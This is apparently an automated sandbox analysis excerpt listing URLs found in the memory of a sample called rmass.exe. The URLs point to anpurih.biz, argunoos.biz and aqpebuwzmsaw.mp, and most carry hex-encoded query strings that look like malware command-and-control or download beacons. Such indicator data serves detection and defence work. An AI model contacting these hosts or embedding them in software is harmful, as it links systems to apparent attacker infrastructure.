Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?0249CE417049CE417067CE6D7049CE69C84DE263B448CE81D84BCA775E7BE0784279FE6F70
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4121498208.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4121498208.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?0250BA3D1150BA3D117EBA111150BA15A954961FD551BAFDB952BE0B3F62940423608A1311
Source: rmass.exe, 00000001.00000003.4121498208.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?0250BA3D1150BA3D117EBA111150BA15A954961FD551BAFDB952BE0B3F62940423608A1311icd
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?02586801FC586801FC76682DFC586829445C4423385968C1545A6C37D26A4638CE68582FFC
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?0275B4991075B499105BB4B51075B4B1A87198BBD474B459B877B0AF3E479AA0224584B710
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?028C84B96E8C84B96EA284956E8C8491D688A89BAA8D8479C68E808F40BEAA805CBCB4976E
Source: rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?028C84B96E8C84B96EA284956E8C8491D688A89BAA8D8479C68E808F40BEAA805CBCB4976E9BA
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?028FFAC4CF8FFAC4CFA1FAE8CF8FFAEC778BD6E60B8EFA04678DFEF2E1BDD4FDFDBFCAEACF
Source: rmass.exe, 00000001.00000003.4116231315.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4112253441.0000000003F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?02987D3675987D3675B67D1A75987D1ECD9C5114B1997DF6DD9A79005BAA530F47A84D187
Source: rmass.exe, 00000001.00000003.4111956487.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4116231315.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4112253441.0000000003F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?02987D3675987D3675B67D1A75987D1ECD9C5114B1997DF6DD9A79005BAA530F47A84D1875
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?029C7CE3569C7CE356B27CCF569C7CCBEE9850C1929D7C23FE9E78D578AE52DA64AC4CCD56
Source: rmass.exe, 00000001.00000003.4124258838.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4121498208.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4124605065.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4118341134.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4125454517.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?02B6B6613EB6B
Source: rmass.exe, 00000001.00000003.4111956487.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4114858010.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4110527637.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4104463315.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?02B6B6613EB6B6613E98B
Source: rmass.exe, 00000001.00000003.4124258838.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4121498208.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4124605065.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4118341134.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4125454517.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?02B6B6613EB6B6613E98B64D3EB6B64986B29A43FAB7B3
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4111956487.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4114858010.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4110527637.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4104463315.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?02B6B6613EB6B6613E98B64D3EB6B64986B29A43FAB7B6A196B4B257108498580C86864F3E
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4150239609.0000000003F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?02BEF68438BEF6843890F6A838BEF6AC80BADAA6FCBFF64490BCF2B2168CD8BD0A8EC6AA38
Source: rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?02BEF68438BEF6843890F6A838BEF6AC80BADAA6FCBFF64490BCF2B2168CD8BD0A8EC6AA38m
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4124258838.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4121498208.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4124605065.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4149776651.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4118341134.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4116231315.0000000003F2C000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4114858010.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4125454517.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?02DF3A2E6ADF3A2E6AF13A026ADF3A06D2DB160CAEDE3AEEC2DD3E1844ED141758EF0A006A
Source: rmass.exe, 00000001.00000003.4124258838.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4121498208.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4124605065.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4149776651.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4118341134.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4114858010.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4125454517.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?02DF3A2E6ADF3A2E6AF13A026ADF3A06D2DB160CAEDE3AEEC2DD3E1844ED141758EF0A006A:S
Source: rmass.exe, 00000001.00000003.4114858010.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?02DF3A2E6ADF3A2E6AF13A026ADF3A06D2DB160CAEDE3AEEC2DD3E1844ED141758EF0A006APS
Source: rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?02EB7
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4159461995.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?02EB7FF3BFEB7FF3BFC57FDFBFEB7FDB07EF53D17BEA7F3317E97BC591D951CA8DDB4FDDBF
Source: rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?02EB7FF3BFEB7FF3BFC57FDFBFEB7FDB07EF53D17BEA7F3317E97BC591D951CA8DDB4FDDBFC
Source: rmass.exe, 00000001.00000003.4159461995.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?02EB7FF3BFEB7FF3BFC57FDFBFEB7FDB07EF53D17BEA7F3317E97BC591D951CA8DDB4FDDBFg
Source: rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?02F45
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4149776651.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://anpurih.biz/d/N?02F4594746F4594746DA596B46F4596FFEF0756582F55987EEF65D7168C6777E74C4696946
Source: rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aqpebuwzmsaw.mp/
Source: rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aqpebuwzmsaw.mp/%
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://aqpebuwzmsaw.mp/D_
Source: rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aqpebuwzmsaw.mp/p
Source: rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aqpebuwzmsaw.mp/ysWOW64
Source: rmass.exe, 00000001.00000003.3933758879.00000000008C3000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3933678317.00000000008BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/
Source: rmass.exe, 00000001.00000003.3933758879.00000000008C3000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3933678317.00000000008BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02226EC14D226EC14D0C6EED4D226EE9F52642E389236E01E5206AF7631040F87F125EEF4D
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02226EC14D226EC14D0C6EED4D226EE9F52642E389236E01E5206AF7631040F87F125EEF4Dtf
Source: rmass.exe, 00000001.00000003.3942565133.00000000008FE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3802036425.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3933156249.00000000008FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02248B0B
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3796348950.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3802036425.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3795773851.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02248B0BF7248B0BF70A8B27F7248B234F20A72933258BCB5F268F3DD916A532C514BB25F7
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3942565133.00000000008FE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3933156249.00000000008FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02269A409D269A409D089A6C9D269A682522B66259279A8035249E76B314B479AF16AA6E9D
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?022928589429285894072874942928702C2D047A502828983C2B2C6EBA1B0661A619187694
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3932866489.0000000000922000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02529BC33E529BC33E7C9BEF3E529BEB8656B7E1FA539B0396509FF51060B5FA0C62ABED3E
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02529BC33E529BC33E7C9BEF3E529BEB8656B7E1FA539B0396509FF51060B5FA0C62ABED3Et
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4077003514.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000002.4173536287.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4017463021.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4150239609.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4043644486.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4078365234.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4116231315.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4022902034.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4112253441.0000000003F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?0258524D3F58524D3F7652613F585265875C7E6FFB59528D975A567B116A7C740D6862633F
Source: rmass.exe, 00000001.00000003.4077003514.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000002.4173536287.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4017463021.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4150239609.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4043644486.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4078365234.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4116231315.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4022902034.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4112253441.0000000003F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?0258524D3F58524D3F7652613F585265875C7E6FFB59528D975A567B116A7C740D6862633Ff
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3996711314.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4017463021.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3995352677.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4005365270.0000000003F5A000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3995627853.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3995394098.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4148111821.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3998738089.0000000003F5A000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4022902034.0000000003F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?025B5B1E4E5B5B1E4E755B324E5B5B36F65F773C8A5A5BDEE6595F28606975277C6B6B304E
Source: rmass.exe, 00000001.00000003.3995352677.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4148111821.00000000008F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?025B5B1E4E5B5B1E4E755B324E5B5B36F65F773C8A5A5BDEE6595F28606975277C6B6B304ECj
Source: rmass.exe, 00000001.00000003.3995352677.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4148111821.00000000008F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?025B5B1E4E5B5B1E4E755B324E5B5B36F65F773C8A5A5BDEE6595F28606975277C6B6B304EGk
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?0260D0870B60D0870B4ED0AB0B60D0AFB364FCA5CF61D047A362D4B12552FEBE3950E0A90B
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3942565133.00000000008FE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3933156249.00000000008FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?0275D12BD875D12BD85BD107D875D1036071FD091C74D1EB7077D51DF647FF12EA45E105D8
Source: rmass.exe, 00000001.00000003.3942565133.00000000008FE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3933156249.00000000008FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?0275D12BD875D12BD85BD107D875D1036071FD091C74D1EB7077D51DF647FF12EA45E105D8_
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4017463021.0000000003F2A000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4017463021.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4022902034.0000000003F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?0279AF4FD579AF4FD557AF63D579AF676D7D836D1178AF8F7D7BAB79FB4B8176E7499F61D5
Source: rmass.exe, 00000001.00000003.4017463021.0000000003F2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?0279AF4FD579AF4FD557AF63D579AF676D7D836D1178AF8F7D7BAB79FB4B8176E7499F61D5I
Source: rmass.exe, 00000001.00000003.4017463021.0000000003F2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?0279AF4FD579AF4FD557AF63D579AF676D7D836D1178AF8F7D7BAB79FB4B8176E7499F61D5a
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4035310887.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?0288DF616888DF6168A6DF4D6888DF49D08CF343AC89DFA1C08ADB5746BAF1585AB8EF4F68
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?0288DF616888DF6168A6DF4D6888DF49D08CF343AC89DFA1C08ADB5746BAF1585AB8EF4F68t
Source: rmass.exe, 00000001.00000003.3933758879.00000000008C3000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3933678317.00000000008BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?028E2528CF8E2528CFA02504CF8E2500778A090A0B8F25E8678C211E
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?028E2528CF8E2528CFA02504CF8E2500778A090A0B8F25E8678C211EE1BC0B11FDBE1506CF
Source: rmass.exe, 00000001.00000003.3803215299.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3766867858.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3795433998.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3777954948.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3756714745.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3795683284.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3794689427.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3798647041.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3799764119.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3773046999.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3784151700.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3754782175.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3793063110.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3755237717.000000000090B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3778911097.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3800516826.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3760692564.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3782716328.0000000003F06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?028E43A8CF8E43A8CFA04384CF8E4380778A6F8A0B8F4368678C479EE1BC6D91FDBE7386CF
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?028E43A8CF8E43A8CFA04384CF8E4380778A6F8A0B8F4368678C479EE1BC6D91FDBE7386CFt
Source: rmass.exe, 00000001.00000003.3756885375.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?028E43A8CF8E43A8CFA04384CF8E4380778A6F8Ar
Source: rmass.exe, 00000001.00000003.4005365270.0000000003F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?028E8843D48E8843D4A0886FD48E886B6C8AA461108F88837C8C8C75FABCA67AE6BEB86DD4
Source: rmass.exe, 00000001.00000003.4043644486.0000000003F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?0296B13B
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3996711314.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4017463021.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4005365270.0000000003F5A000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3998738089.0000000003F5A000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4022902034.0000000003F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?0296B13B4A96B13B4AB8B1174A96B113F2929D198E97B1FBE294B50D64A49F0278A681154A
Source: rmass.exe, 00000001.00000003.3996711314.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4017463021.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4005365270.0000000003F5A000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3998738089.0000000003F5A000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4022902034.0000000003F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?0296B13B4A96B13B4AB8B1174A96B113F2929D198E97B1FBE294B50D64A49F0278A681154A-
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?0296B13B4A96B13B4AB8B1174A96B113F2929D198E97B1FBE294B50D64A49F0278A681154At&
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?029844F8CA9844F8CAB644D4CA9844D0729C68DA0E994438629A40CEE4AA6AC1F8A874D6CA
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?029844F8CA9844F8CAB644D4CA9844D0729C68DA0E994438629A40CEE4AA6AC1F8A874D6CAt6
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4078472666.00000000008C3000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4078365234.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4111956487.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4118341134.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4114858010.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4110527637.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4104463315.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02A820FAE8A820FAE88620D6E8A820D250AC0CD82CA9203A40AA24CCC69A0EC3DA9810D4E8
Source: rmass.exe, 00000001.00000003.4111956487.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4118341134.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4114858010.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4110527637.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4104463315.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02A820FAE8A820FAE88620D6E8A820D250AC0CD82CA9203A40AA24CCC69A0EC3DA9810D4E8f
Source: rmass.exe, 00000001.00000003.3932866489.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02AC799CB9AC799CB98279B0B9AC79B401A855BE7DAD795C11AE7DAA979E57A5
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02AC799CB9AC799CB98279B0B9AC79B401A855BE7DAD795C11AE7DAA979E57A58B9C49B2B9
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3932866489.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02ACB92F34ACB92F3482B90334ACB9078CA8950DF0ADB9EF9CAEBD191A9E9716069C890134
